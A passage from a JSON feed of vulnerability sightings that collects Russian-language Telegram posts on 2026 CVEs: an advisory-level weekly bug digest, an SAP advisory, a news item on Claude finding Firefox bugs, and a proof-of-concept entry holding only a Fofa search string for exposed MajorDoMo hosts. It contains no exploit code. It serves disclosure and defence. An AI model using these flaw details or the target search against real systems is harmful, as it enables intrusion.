\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439: \u043e\u0434\u043d\u0430 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0443\u0436\u0438\u0442\u044c \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430.", "creation_timestamp": "2026-03-12T17:08:32.000000Z"}, {"uuid": "d5dd62c3-9d96-49ad-a5f7-1296f1b3926d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/5949", "content": "Anthropic \u0438 Mozilla \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442: \u043c\u043e\u0434\u0435\u043b\u044c Claude Opus 4.6 \u0437\u0430 \u0434\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430\u0448\u043b\u0430 22 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Firefox, 14 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u043c\u0438. \u042d\u0442\u043e \u043f\u043e\u0447\u0442\u0438 \u043f\u044f\u0442\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0432\u0441\u0435\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0445 \u0434\u044b\u0440, \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0437\u0430 \u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0433\u043e\u0434.\n\n\u0422\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u043b\u043e \u0432 \u044f\u043d\u0432\u0430\u0440\u0435. Claude \u043d\u0430\u0447\u0430\u043b \u0441 JavaScript-\u0434\u0432\u0438\u0436\u043a\u0430 \u0438 \u0437\u0430 20 \u043c\u0438\u043d\u0443\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 use-after-free. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043e\u043a\u043e\u043b\u043e 6000 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 C++ \u0438 \u0432\u044b\u0434\u0430\u043b\u0430 112 \u043e\u0442\u0447\u0451\u0442\u043e\u0432, \u043f\u043e\u043c\u0438\u043c\u043e CVE, \u043d\u0430\u0448\u043b\u0438\u0441\u044c \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u0431\u0430\u0433\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0437\u0437\u0438\u043d\u0433 \u043d\u0435 \u0437\u0430\u0441\u0451\u043a.\n\n\u0421\u0430\u043c\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-2796 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 9.8 \u043f\u043e CVSS. \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 JIT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 WebAssembly \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. Anthropic \u043f\u043e\u0442\u0440\u0430\u0442\u0438\u043b\u0430 $4000 \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0430 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438, \u0438 \u0442\u043e \u043b\u0438\u0448\u044c \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0441 \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435\u0439. \u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0437\u0430\u0449\u0438\u0442\u0430 Firefox \u0443\u0441\u0442\u043e\u044f\u043b\u0430.\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u0441\u0442: \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044c CURL \u0414\u0430\u043d\u0438\u044d\u043b\u044c \u0421\u0442\u0435\u043d\u0431\u0435\u0440\u0433 \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u0437\u0430\u043a\u0440\u044b\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 bug bounty \u0438\u0437-\u0437\u0430 \u043b\u0430\u0432\u0438\u043d\u044b \u0418\u0418-\u043c\u0443\u0441\u043e\u0440\u0430,  \u043d\u0438 \u043e\u0434\u0438\u043d \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0451\u0442 \u0437\u0430 \u0448\u0435\u0441\u0442\u044c \u043b\u0435\u0442 \u043d\u0435 \u043d\u0430\u0448\u0451\u043b \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u044b\u0440\u044b \u0432 \u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0435. \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e Anthropic \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u0441 Mozilla \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u0434\u0430\u0447\u0443.\n\nMozilla \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Firefox 148, \u0432\u044b\u0448\u0435\u0434\u0448\u0435\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f. Anthropic \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432 \u043f\u0440\u0435\u0432\u044c\u044e \u0441\u0435\u0440\u0432\u0438\u0441 Claude Code Security \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0433\u043e\u0432. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 148 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435.\n\nITsec NEWS", "creation_timestamp": "2026-03-13T14:58:08.000000Z"}, {"uuid": "de5be831-ed96-42cb-8105-b4ada86a1bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27685", "type": "seen", "source": "https://t.me/bdufstecru/3010", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u0440\u0442\u0430\u043b\u043e\u043c SAP NetWeaver Enterprise Portal Administration \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-02998\nCVE-2026-27685\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN);\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "creation_timestamp": "2026-03-13T13:12:32.000000Z"}, {"uuid": "46f39953-70d8-41b7-9741-afeb59655052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27179", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/339", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n\nFofa : \"MajorDoMo\"", "creation_timestamp": "2026-02-22T00:35:14.000000Z"}, {"uuid": "67a84d91-0e74-427f-a38b-3d38f544c071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "seen", "source": "https://t.me/poxek/5938", "content": "\u041b\u043e\u0432\u0438\u0442\u0435 \u0432\u043a\u0443\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438\n#Calibre #Google #Ghost #GetSimple #ApacheVelocity #CVE\n\n\u25aa\ufe0f Calibre (CVE-2026-26065, CVSS 9.3) \u2014 path traversal \u0432 PDB-\u0440\u0438\u0434\u0435\u0440\u0430\u0445 Calibre, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0443\u0442\u0435\u0439 \u043f\u0440\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e PDB-\u0444\u0430\u0439\u043b\u043e\u0432. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f. \u0418\u043c\u043f\u0430\u043a\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043f\u0440\u0430\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Calibre \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445, DoS \u0438, \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, \u043a RCE.\n\n\u25aa\ufe0f Google Cloud Vertex AI SDK for Python (CVE-2026-2472, CVSS 8.6) \u2014 stored XSS \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u0432\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 GenAI/\u043e\u0446\u0435\u043d\u043e\u043a \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043f\u0430\u043a\u0435\u0442\u0430 google-cloud-aiplatform. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 JavaScript \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 JSON-\u0434\u0430\u0442\u0430\u0441\u0435\u0442\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u0432 Jupyter/Colab. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JS \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0435\u0434\u0435\u0442 \u043a \u043a\u0440\u0430\u0436\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0443 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438\u043b\u0438 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u25aa\ufe0f Ghost (CVE-2026-26980, CVSS 9.4) \u2014 SQLi \u0432 headless CMS Ghost, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c Content API. \u0418\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438/\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 slug \u0432 query string \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0431\u0430\u0437\u044b (arbitrary read) \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\n\n\u25aa\ufe0fGetSimple CMS (CVE-2026-27161, CVSS 8.7) \u2014 \u0437\u0430\u0449\u0438\u0442\u0430 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 (/data/, /backups/ \u0438 \u0434\u0440.) \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 .htaccess. \u041f\u0440\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c AllowOverride \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Apache \u0437\u0430\u0449\u0438\u0442\u0430 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f authorization.xml \u0441 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\n\n\u25aa\ufe0f WSO2 Identity Server (CVE-2025-12107, CVSS 7.2) \u2014 template injection \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c Velocity template engine (Apache Velocity). \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-02-24T06:48:10.000000Z"}, {"uuid": "d169e030-c99b-4878-9bbe-d9ef043fddb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27896", "type": "seen", "source": "https://t.me/poxek/5964", "content": "\u2328\ufe0f \u0413\u0440\u0430\u043c\u043e\u0442\u0430 \u043e 